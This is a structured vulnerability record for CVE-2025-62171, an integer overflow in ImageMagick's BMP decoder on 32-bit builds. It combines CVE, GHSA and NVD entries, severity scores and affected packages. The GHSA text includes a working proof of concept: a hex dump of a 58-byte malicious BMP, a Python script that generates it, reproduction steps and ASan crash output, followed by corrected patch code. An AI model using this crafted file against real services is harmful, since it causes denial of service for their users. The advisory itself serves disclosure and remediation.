{"id":"CVE-2025-62171","aliases":["CVE-2025-62171","GHSA-9pp9-cfwx-54rm"],"related":[],"kind":"vulnerability","state":"published","title":"ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems","summary":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick < 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) / 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) && (0 > 4294967295UL/1)\n    return True && (0 > 4294967295)\n    return True && False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('<I', 58)      # File size\nfile_header += struct.pack('<HH', 0, 0)   # Reserved\nfile_header += struct.pack('<I', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('<I', 40)        # Header size\ndib_header += struct.pack('<i', width)    # Width\ndib_header += struct.pack('<i', height)   # Height\ndib_header += struct.pack('<H', 1)        # Planes\ndib_header += struct.pack('<H', bpp)      # BPP\ndib_header += struct.pack('<I', 0)        # Compression\ndib_header += struct.pack('<I', 0)        # Image size\ndib_header += struct.pack('<i', 2835)     # X ppm\ndib_header += struct.pack('<i', 2835)     # Y ppm\ndib_header += struct.pack('<I', 0)        # Colors\ndib_header += struct.pack('<I', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 && \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image->columns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 > UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com","format":"markdown","source":"ghsa"},{"lang":"es","text":"ImageMagick es una suite de software de código abierto para mostrar, convertir y editar archivos de imagen ráster. En las versiones de ImageMagick anteriores a la 7.1.2-7 y 6.9.13-32, existe una vulnerabilidad de desbordamiento de entero en el decodificador BMP en sistemas de 32 bits. La vulnerabilidad ocurre en coders/bmp.c al calcular el valor de extensión multiplicando las columnas de la imagen por los bits por píxel. En sistemas de 32 bits con size_t de 4 bytes, un archivo BMP malicioso con dimensiones específicas puede causar que esta multiplicación se desborde y se ajuste a cero. La comprobación de desbordamiento añadida para abordar CVE-2025-57803 se coloca después de que ocurre el desbordamiento, lo que la hace ineficaz. Un archivo BMP de 58 bytes especialmente diseñado con un ancho establecido en 536,870,912 y 32 bits por píxel puede desencadenar este desbordamiento, haciendo que el cálculo de bytes_per_line se convierta en cero. Esta vulnerabilidad solo afecta a las compilaciones de 32 bits de ImageMagick donde los límites de recursos predeterminados para ancho, alto y área se han aumentado manualmente más allá de sus valores predeterminados. Los sistemas de 64 bits con size_t de 8 bytes no son vulnerables, y los sistemas que utilizan los límites de recursos predeterminados de ImageMagick no son vulnerables. La vulnerabilidad está corregida en las versiones 7.1.2-7 y 6.9.13-32.","source":"nvd"}],"published":"2025-10-17T16:30:27.144Z","modified":"2026-10-19T16:10:00.260Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H","score":4.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-190"],"affected":[{"ranges":[{"version":"< 6.9.13-32","status":"affected"},{"version":">= 7.0.0-0, < 7.1.2-7","status":"affected"}],"vendor":"ImageMagick","product":"ImageMagick","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","purl":"pkg:nuget/Magick.NET-Q16-AnyCPU","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","purl":"pkg:nuget/Magick.NET-Q16-HDRI-AnyCPU","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","purl":"pkg:nuget/Magick.NET-Q16-HDRI-x86","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q16-x86","purl":"pkg:nuget/Magick.NET-Q16-x86","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","purl":"pkg:nuget/Magick.NET-Q8-AnyCPU","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"14.9.0"}],"ecosystem":"NuGet","package":"Magick.NET-Q8-x86","purl":"pkg:nuget/Magick.NET-Q8-x86","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"6.9.13-32"},{"status":"affected","introduced":"7.0.0-0","fixed":"7.1.2-7"}],"vendor":"imagemagick","product":"imagemagick","cpe":"cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rm","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/10/msg00019.html","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62171","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ImageMagick/ImageMagick","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-10-17T17:05:36.358Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-62171","url":"https://www.cve.org/CVERecord?id=CVE-2025-62171","licence":"CVE Terms of Use","modified":"2025-11-03T17:45:24.673Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9pp9-cfwx-54rm","url":"https://github.com/advisories/GHSA-9pp9-cfwx-54rm","licence":"CC-BY-4.0","modified":"2025-11-03T19:50:59.097Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-62171","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62171","licence":"Public domain","modified":"2026-10-19T16:10:00.260Z"}],"updatedAt":"2026-11-25T22:59:06.533Z","epss":{"score":0.00849,"percentile":0.59232,"date":"2026-12-01T12:00:22.000Z"}}